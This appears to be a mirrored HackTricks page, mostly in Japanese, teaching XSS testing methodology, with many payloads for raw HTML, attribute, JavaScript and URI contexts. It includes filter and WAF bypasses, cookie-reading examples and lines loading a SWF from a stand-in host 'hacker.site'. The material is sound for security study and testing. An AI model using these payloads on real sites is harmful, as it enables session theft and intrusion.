mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
1468 lines
81 KiB
Markdown
1468 lines
81 KiB
Markdown
# XSS (クロスサイトスクリプティング)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
## 方法論
|
||
|
||
1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。
|
||
2. **反映されている/使用されているコンテキストを見つけます**。
|
||
3. **反映されている場合**
|
||
1. **使用できる記号を確認し**、それに応じてペイロードを準備します:
|
||
1. **生のHTML**内で:
|
||
1. 新しいHTMLタグを作成できますか?
|
||
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
||
3. 保護を回避できますか?
|
||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
|
||
2. **HTMLタグ内で**:
|
||
1. 生のHTMLコンテキストに抜け出せますか?
|
||
2. JSコードを実行する新しいイベント/属性を作成できますか?
|
||
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
||
4. 保護を回避できますか?
|
||
3. **JavaScriptコード内で**:
|
||
1. `<script>`タグをエスケープできますか?
|
||
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
||
3. テンプレートリテラル \`\` に入力がありますか?
|
||
4. 保護を回避できますか?
|
||
4. 実行されているJavaScript **関数**:
|
||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||
4. **使用されている場合**:
|
||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。
|
||
|
||
複雑なXSSに取り組む際に知っておくと興味深いことがあります:
|
||
|
||
{% content-ref url="debugging-client-side-js.md" %}
|
||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 反映された値
|
||
|
||
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
|
||
|
||
* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
|
||
* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。
|
||
* **JS経由でアクセスされた**:あなたが制御する値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できるかもしれません。
|
||
|
||
## コンテキスト
|
||
|
||
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。
|
||
|
||
### 生のHTML
|
||
|
||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部です。\
|
||
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
|
||
|
||
### HTMLタグの属性内
|
||
|
||
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
||
|
||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できるかもしれません(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
クラス名を制御している場合のAngularがXSSを実行する奇妙な例:
|
||
```html
|
||
<div ng-app>
|
||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||
</div>
|
||
```
|
||
### Inside JavaScript code
|
||
|
||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
|
||
|
||
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
||
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
|
||
* `'-alert(1)-'`
|
||
* `';-alert(1)//`
|
||
* `\';alert(1)//`
|
||
* テンプレートリテラルの中に反映されている場合、`${ ... }`構文を使用して**JS式を埋め込む**ことができます: `` var greetings = `Hello, ${alert(1)}` ``
|
||
* **Unicodeエンコード**は**有効なjavascriptコード**を書くために機能します:
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
#### Javascript Hoisting
|
||
|
||
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\
|
||
**詳細については、以下のページを確認してください:**
|
||
|
||
{% content-ref url="js-hoisting.md" %}
|
||
[js-hoisting.md](js-hoisting.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Javascript Function
|
||
|
||
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
|
||
|
||
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:
|
||
|
||
![](<../../.gitbook/assets/image (711).png>)
|
||
|
||
もし脆弱であれば、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
||
|
||
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||
|
||
![](<../../.gitbook/assets/image (747).png>)
|
||
|
||
これに役立ついくつかの関数:
|
||
```
|
||
firstElementChild
|
||
lastElementChild
|
||
nextElementSibiling
|
||
lastElementSibiling
|
||
parentElement
|
||
```
|
||
あなたはまた、**Javascript関数を直接トリガーする**ことも試すことができます: `obj.sales.delOrders`。
|
||
|
||
しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**は、より多くのアクションを実行するための**より興味深いDOM**を持っています。
|
||
|
||
したがって、**異なるDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)**の悪用が開発されました:
|
||
|
||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||
{% endcontent-ref %}
|
||
|
||
### DOM
|
||
|
||
**攻撃者によって制御されたデータ**(例: `location.href`)を**安全でない**方法で使用している**JSコード**があります。攻撃者は、これを悪用して任意のJSコードを実行することができます。
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **ユニバーサルXSS**
|
||
|
||
この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
|
||
いくつかの**例**:
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
|
||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||
{% endcontent-ref %}
|
||
|
||
## WAFバイパスエンコーディング画像
|
||
|
||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||
|
||
## 生のHTML内に注入
|
||
|
||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
|
||
_**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\*****`--!>`**で閉じることができます。_
|
||
|
||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||
```html
|
||
<script>alert(1)</script>
|
||
<img src=x onerror=alert(1) />
|
||
<svg onload=alert('XSS')>
|
||
```
|
||
しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
|
||
許可されているタグを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
|
||
|
||
### タグ/イベントのブルートフォース
|
||
|
||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらをすべて送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。
|
||
|
||
### カスタムタグ
|
||
|
||
有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページがそのオブジェクトに**フォーカス**し、コードを**実行**する必要があります。
|
||
```
|
||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||
```
|
||
### ブラックリストバイパス
|
||
|
||
もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます:
|
||
```javascript
|
||
//Random capitalization
|
||
<script> --> <ScrIpT>
|
||
<img --> <ImG
|
||
|
||
//Double tag, in case just the first match is removed
|
||
<script><script>
|
||
<scr<script>ipt>
|
||
<SCRscriptIPT>alert(1)</SCRscriptIPT>
|
||
|
||
//You can substitude the space to separate attributes for:
|
||
/
|
||
/*%00/
|
||
/%00*/
|
||
%2F
|
||
%0D
|
||
%0C
|
||
%0A
|
||
%09
|
||
|
||
//Unexpected parent tags
|
||
<svg><x><script>alert('1')</x>
|
||
|
||
//Unexpected weird attributes
|
||
<script x>
|
||
<script a="1234">
|
||
<script ~~~>
|
||
<script/random>alert(1)</script>
|
||
<script ///Note the newline
|
||
>alert(1)</script>
|
||
<scr\x00ipt>alert(1)</scr\x00ipt>
|
||
|
||
//Not closing tag, ending with " <" or " //"
|
||
<iframe SRC="javascript:alert('XSS');" <
|
||
<iframe SRC="javascript:alert('XSS');" //
|
||
|
||
//Extra open
|
||
<<script>alert("XSS");//<</script>
|
||
|
||
//Just weird an unexpected, use your imagination
|
||
<</script/script><script>
|
||
<input type=image src onerror="prompt(1)">
|
||
|
||
//Using `` instead of parenthesis
|
||
onerror=alert`1`
|
||
|
||
//Use more than one
|
||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||
```
|
||
### 長さバイパス(小さなXSS)
|
||
|
||
{% hint style="info" %}
|
||
**異なる環境のためのより小さなXSS** ペイロード [**はこちら**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**こちら**](https://tinyxss.terjanq.me) で見つけることができます。
|
||
{% endhint %}
|
||
```html
|
||
<!-- Taken from the blog of Jorge Lajara -->
|
||
<svg/onload=alert``>
|
||
<script src=//aa.es>
|
||
<script src=//℡㏛.pw>
|
||
```
|
||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||
|
||
### Click XSS - Clickjacking
|
||
|
||
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||
|
||
### Impossible - Dangling Markup
|
||
|
||
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)because you could **exploit** the vulnerability **without** executing **JS** code.
|
||
|
||
## Injecting inside HTML tag
|
||
|
||
### Inside the tag/escaping from attribute value
|
||
|
||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||
```bash
|
||
" autofocus onfocus=alert(document.domain) x="
|
||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||
```
|
||
**スタイルイベント**
|
||
```python
|
||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||
|
||
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
|
||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
|
||
#moving your mouse anywhere over the page (0-click-ish):
|
||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||
```
|
||
### 属性内
|
||
|
||
属性から**逃げられない**場合(`"`がエンコードまたは削除されている)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているか、一部だけを制御しているか**によって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
|
||
もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
|
||
|
||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||
|
||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
||
|
||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||
```javascript
|
||
//HTML entities
|
||
'-alert(1)-'
|
||
//HTML hex without zeros
|
||
'-alert(1)-'
|
||
//HTML hex with zeros
|
||
'-alert(1)-'
|
||
//HTML dec without zeros
|
||
'-alert(1)-'
|
||
//HTML dec with zeros
|
||
'-alert(1)-'
|
||
|
||
<a href="javascript:var a=''-alert(1)-''">a</a>
|
||
<a href="javascript:alert(2)">a</a>
|
||
<a href="javascript:alert(3)">a</a>
|
||
```
|
||
**URLエンコードも機能することに注意してください:**
|
||
```python
|
||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||
```
|
||
**Unicodeエンコードを使用して内部イベントをバイパスする**
|
||
```javascript
|
||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||
```
|
||
### 属性内の特別なプロトコル
|
||
|
||
そこでは、**`javascript:`** または **`data:`** プロトコルをいくつかの場所で使用して **任意のJSコードを実行** できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。
|
||
```javascript
|
||
javascript:alert(1)
|
||
JavaSCript:alert(1)
|
||
javascript:%61%6c%65%72%74%28%31%29 //URL encode
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascriptΪlert(1)
|
||
java //Note the new line
|
||
script:alert(1)
|
||
|
||
data:text/html,<script>alert(1)</script>
|
||
DaTa:text/html,<script>alert(1)</script>
|
||
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
|
||
data:text/html;charset=UTF-8,<script>alert(1)</script>
|
||
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||
```
|
||
**これらのプロトコルを注入できる場所**
|
||
|
||
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
|
||
```markup
|
||
<a href="javascript:alert(1)">
|
||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||
<form action="javascript:alert(1)"><button>send</button></form>
|
||
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
|
||
<object data=javascript:alert(3)>
|
||
<iframe src=javascript:alert(2)>
|
||
<embed src=javascript:alert(1)>
|
||
|
||
<object data="data:text/html,<script>alert(5)</script>">
|
||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
||
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
||
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
|
||
|
||
//Special cases
|
||
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
|
||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||
<iframe srcdoc="<svg onload=alert(4);>">
|
||
```
|
||
**他の難読化トリック**
|
||
|
||
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
|
||
```javascript
|
||
<a href="javascript:var a=''-alert(1)-''">
|
||
```
|
||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||
```javascript
|
||
'-alert(1)-'
|
||
%27-alert(1)-%27
|
||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||
```
|
||
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロードの中で混ぜる**ことができます。
|
||
|
||
**`javascript:`を使ったHexおよびOctalエンコード**
|
||
|
||
あなたは**Hex**および**Octalエンコード**を`iframe`の`src`属性の中で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
|
||
```javascript
|
||
//Encoded: <svg onload=alert(1)>
|
||
// This WORKS
|
||
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
|
||
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
|
||
|
||
//Encoded: alert(1)
|
||
// This doesn't work
|
||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||
```
|
||
### リバースタブナビゲーション
|
||
```javascript
|
||
<a target="_blank" rel="opener"
|
||
```
|
||
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`**および**`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
|
||
|
||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### イベントハンドラーのバイパス
|
||
|
||
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
|
||
```javascript
|
||
<svg onload%09=alert(1)> //No safari
|
||
<svg %09onload=alert(1)>
|
||
<svg %09onload%20=alert(1)>
|
||
<svg onload%09%20%28%2c%3b=alert(1)>
|
||
|
||
//chars allowed between the onevent and the "="
|
||
IExplorer: %09 %0B %0C %020 %3B
|
||
Chrome: %09 %20 %28 %2C %3B
|
||
Safari: %2C %3B
|
||
Firefox: %09 %20 %28 %2C %3B
|
||
Opera: %09 %20 %2C %3B
|
||
Android: %09 %20 %28 %2C %3B
|
||
```
|
||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||
|
||
[**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **から、隠し入力を悪用することが可能になりました:**
|
||
```html
|
||
<button popvertarget="x">Click me</button>
|
||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||
```
|
||
そして**metaタグ**では:
|
||
```html
|
||
<!-- Injection inside meta attribute-->
|
||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||
<!-- Existing target-->
|
||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||
<div popover id="newsletter">Newsletter popup</div>
|
||
```
|
||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです:
|
||
```markup
|
||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||
```
|
||
**XSSペイロードは次のようになります:`" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
### ブラックリストバイパス
|
||
|
||
このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
|
||
|
||
* **HTMLエンコーディング(HTMLタグ)**
|
||
* **Unicodeエンコーディング(有効なJSコードになる可能性があります):** `\u0061lert(1)`
|
||
* **URLエンコーディング**
|
||
* **16進数および8進数エンコーディング**
|
||
* **データエンコーディング**
|
||
|
||
**HTMLタグと属性のバイパス**
|
||
|
||
[前のセクションのブラックリストバイパスを読む](./#blacklist-bypasses)。
|
||
|
||
**JavaScriptコードのバイパス**
|
||
|
||
[次のセクションのJavaScriptバイパスブラックリストを読む](./#javascript-bypass-blacklists-techniques)。
|
||
|
||
### CSSガジェット
|
||
|
||
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(フッターの小さなリンクにonmouseover要素があるかもしれません)、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。
|
||
|
||
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||
|
||
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
|
||
|
||
> .test {display:block; color: blue; width: 100%\}
|
||
|
||
と
|
||
|
||
> \#someid {top: 0; font-family: Tahoma;}
|
||
|
||
今、リンクを変更して次の形式にすることができます
|
||
|
||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||
|
||
このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。
|
||
|
||
## JavaScriptコード内へのインジェクション
|
||
|
||
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
|
||
|
||
### \<script>タグのエスケープ
|
||
|
||
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることでエスケープ**できます:
|
||
```javascript
|
||
</script><img src=1 onerror=alert(document.domain)>
|
||
```
|
||
注意、この例では**シングルクォートを閉じていません**。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
|
||
|
||
### JSコード内
|
||
|
||
`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません:
|
||
```
|
||
'-alert(document.domain)-'
|
||
';alert(document.domain)//
|
||
\';alert(document.domain)//
|
||
```
|
||
### テンプレートリテラル \`\`
|
||
|
||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||
したがって、バックティックを使用しているJS文字列の中にあなたの入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
|
||
|
||
これは次のように**悪用**できます:
|
||
```javascript
|
||
`${alert(1)}`
|
||
`${`${`${`${alert(1)}`}`}`}`
|
||
```
|
||
|
||
```````````````javascript
|
||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||
function loop(){return loop}
|
||
loop``````````````
|
||
```````````````
|
||
### エンコードされたコード実行
|
||
```markup
|
||
<script>\u0061lert(1)</script>
|
||
<svg><script>alert('1')
|
||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||
```
|
||
### Unicode エンコード JS 実行
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
### JavaScript バイパス ブラックリスト技術
|
||
|
||
**文字列**
|
||
```javascript
|
||
"thisisastring"
|
||
'thisisastrig'
|
||
`thisisastring`
|
||
/thisisastring/ == "/thisisastring/"
|
||
/thisisastring/.source == "thisisastring"
|
||
"\h\e\l\l\o"
|
||
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
|
||
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
|
||
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
|
||
